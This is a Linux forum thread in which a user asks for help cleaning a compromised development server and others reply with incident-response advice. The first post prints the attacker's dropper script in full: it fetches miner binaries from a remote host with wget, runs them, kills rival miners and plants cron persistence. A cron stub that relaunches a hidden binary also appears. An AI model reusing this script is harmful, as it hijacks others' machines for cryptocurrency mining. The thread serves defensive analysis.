LinuxQuestions.org
Visit Jeremy's Blog.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices


Reply
  Search this Thread
Old 03-13-2014, 12:23 AM   #1
brokenpromises
Member
 
Registered: Jan 2005
Location: NZ
Distribution: Fedora / Debian
Posts: 98

Rep: Reputation: 21
Exclamation Box got pwned, need assistance cleaning it up


One of the machines on my network was found to have very high CPU usage. 'top' showed something called "m64" as the culprit. I googled m64 and found that it was part of GCC so I wasn't overely concerned at first (this is a dev box).

But upon further investigation, I found that the user account running this process it was that of an employee that had left us (on good terms) long ago. I googled the command that was running

Code:
m64 -o stratum+tcp://<REDACTED>:3333 


And apparently, this is a litecoin mining app.

So I killed the process and changed this users' password. I have very good reason to believe this user had a VERY weak password (think `password`) and this is what lead to the break-in.

The auth.log shows the following:

Code:
Mar 13 17:16:01 earth CRON[8774]: pam_unix(cron:session): session opened for user steve by (uid=0)
Mar 13 17:16:01 earth CRON[8774]: pam_unix(cron:session): session closed for user steve
Mar 13 17:17:01 earth CRON[8812]: pam_unix(cron:session): session opened for user steve by (uid=0)
Mar 13 17:17:01 earth CRON[8812]: pam_unix(cron:session): session closed for user steve
After this, I checked /tmp/ and found a script called "kgu"; I found that the script was owned by `steve`'s account:

Code:
#!/bin/sh
crontab -r
cd /var/tmp
rm -rf a* c* update*
pwd > mech.dir
dir=$(cat mech.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep update
wget http://<REDACTED>/upload/update >> /dev/null &&
chmod +x update
rm -rf /etc/cron.hourly/update

cp update /etc/cron.hourly/
chattr -ia bash
chattr -ia *
wget http://<REDACTED>/upload/bash
wget http://<REDACTED>/upload/m64
wget http://<REDACTED>/upload/m32

chmod +x m64
chmod +x m32
chmod +x bash
kill -9 `ps x|grep miner|grep -v grep|awk '{print $1}'`
kill -9 `ps x|grep vypord3|grep -v grep|awk '{print $1}'`
kill -9 `ps x|grep stratum|grep -v grep|awk '{print $1}'`
PATH="." bash -o stratum+tcp://<REDACTED> --userpass=mikutul.alex:test
PATH="." m64 -o stratum+tcp://<REDACTED> --userpass=mikutul.alex:test
PATH="." m32 -o stratum+tcp://<REDACTED> --userpass=mikutul.alex:test
#chattr +ia bash
#chattr +ia m64
From what I can see this script isn't making any permanent modifications to my system - can someone with more experience cast their eyes over this and confirm it?

I also found this in crontab:

Code:
* * * * * /lib/httpd >/dev/null 2>&1
The contents of /lib/httpd (not sure if this is supposed to be there or not):

Code:
#!/bin/sh
if test -r /lib/httpd.pid; then
pid=$(cat /lib/httpd.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
/lib/httpds &>/dev/null
Any insights where else I should check to ensure the box hasn't been compromised also welcomed.

Last edited by brokenpromises; 03-13-2014 at 12:33 AM.
 
Old 03-13-2014, 05:04 AM   #2
chrism01
LQ Guru
 
Registered: Aug 2004
Location: Sydney
Distribution: Centos 6.8, Centos 5.10
Posts: 17,240

Rep: Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324
Ask the Mods via the Report button to move this to Security.

FWIW, anything under /lib should be a library file (& therefore a binary) or a link to similar.
(AFAIK)
 
Old 03-13-2014, 03:51 PM   #3
jefro
Moderator
 
Registered: Mar 2008
Posts: 15,383

Rep: Reputation: 2199Reputation: 2199Reputation: 2199Reputation: 2199Reputation: 2199Reputation: 2199Reputation: 2199Reputation: 2199Reputation: 2199Reputation: 2199Reputation: 2199
When in doubt, nuke it from high orbit. It's the only way to be sure. Reload it to new stuff if you have tested media.
 
Old 03-13-2014, 04:34 PM   #4
metaschima
Senior Member
 
Registered: Dec 2013
Distribution: Slackware
Posts: 1,982

Rep: Reputation: 490Reputation: 490Reputation: 490Reputation: 490Reputation: 490
See:
http://ubuntuforums.org/showthread.php?t=2203663

You should probably do a clean install and implement better security practices.
 
Old 03-14-2014, 03:34 AM   #5
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,331
Blog Entries: 55

Rep: Reputation: 3530Reputation: 3530Reputation: 3530Reputation: 3530Reputation: 3530Reputation: 3530Reputation: 3530Reputation: 3530Reputation: 3530Reputation: 3530Reputation: 3530
Quote:
Originally Posted by brokenpromises View Post
(..) I googled m64 and found that it was part of GCC so I wasn't overly concerned at first (this is a dev box)
If I read that correctly you're more lenient about file system integrity than you should have been in the first place. IMHO that's a problem with perception as a dev box is as valuable (and here: as exposed) as any other so that's got to change. If you don't dig that ask yourself and think about the implications: what if foreign data would have adversely affected builds unnoticed since this employee left? (Litigation, time, effort, etc, etc.)


Quote:
Originally Posted by brokenpromises View Post
(..) employee that had left us (on good terms) long ago. So I killed the process and changed this users' password.
Killing processes (and deleting data) is an unfortunate first reflex in both new and seasoned admins. If you have the opportunity then always collect (volatile) data (the base command 'lsof -Pwln' will contain process and user Ids as well as open files and network connections) first. What's more this points to a flaw in both IT and HRM practices (lacking a proper exit procedure and auditing).


Quote:
Originally Posted by brokenpromises View Post
(..) this user had a VERY weak password
This clearly is a Layer 8 flaw: do educate users, provide them with the tools to make (automated?) processing easier and do enable regular auditing.


Quote:
Originally Posted by brokenpromises View Post
From what I can see this script isn't making any permanent modifications to my system
Then, with all due respect, you may not be the right person to perform this investigation: the script clearly wants to copy foreign items to root-owned directories and set file attributes... (This by the way may not be the only script involved in getting things to run.) The only thing keeping it from doing so would be the unprivileged user being unable to elevate rights.


Quote:
Originally Posted by brokenpromises View Post
I also found this in crontab(..) (not sure if this is supposed to be there or not):
If you have a question as to the legitimacy of items on your file system then the first thing should be to consult your distributions package management features. If it's outside the scope of package management, or for a history of changes, you would compare with the contents of your backups. You do have full system backups, right?


Quote:
Originally Posted by brokenpromises View Post
Any insights where else I should check to ensure the box hasn't been compromised also welcomed.
These days breaches of compromise rarely revolve around root kits as whatever the web stack provides is good enough for most purposes. That doesn't mean you should treat an investigation differently (or, as shown above, that implementing better security practices is the only thing you should do).

- (instruct employees to) stop using the dev box and isolate it from the network,
- stop unnecessary system services (you only need SSH to access the machine, not httpd, mysqld or whatever else),
- 'rm -f /etc/cron.deny /etc/cron.allow; touch /etc/cron.allow',
- find items /lib/httpds, /etc/cron.hourly/update,
- run your distributions package management file verification (if any),
- copy all system and daemon logs to another machine and run them through Logwatch and scrutinize the report,
- search the whole system for items changed in the access time(s) indicated in the report and inspect them,
- report back in a detailed way.

- Simultaneously create a new dev box from scratch, implement security best practices, restrict access and enable regular auditing
- Only after checking your backups restore your dev code repositories etc, etc, remove stale accounts and audit it before allowing developers access.

As you can see this all takes time and effort you'd probably rather spend on doing other things. From that point of view alone the "ounce of prevention" concept here shows one reason for not ignoring security best practices.


HTH

Last edited by unSpawn; 03-14-2014 at 03:35 AM.
 
2 members found this post helpful.
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
LXer: ';--have i been pwned? LXer Syndicated Linux News 0 12-05-2013 05:51 PM
Cleaning Mail Box skoda Linux - Newbie 2 09-08-2013 09:24 AM
LXer: Open Source Metasploit Gets pwned by $$ LXer Syndicated Linux News 0 10-21-2009 08:20 PM
Cleaning up files on my Slackware box? JockVSJock Slackware 3 06-29-2005 09:29 AM
Pwned.nl testforechozero General 1 07-26-2004 12:36 AM


All times are GMT -5. The time now is 08:19 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration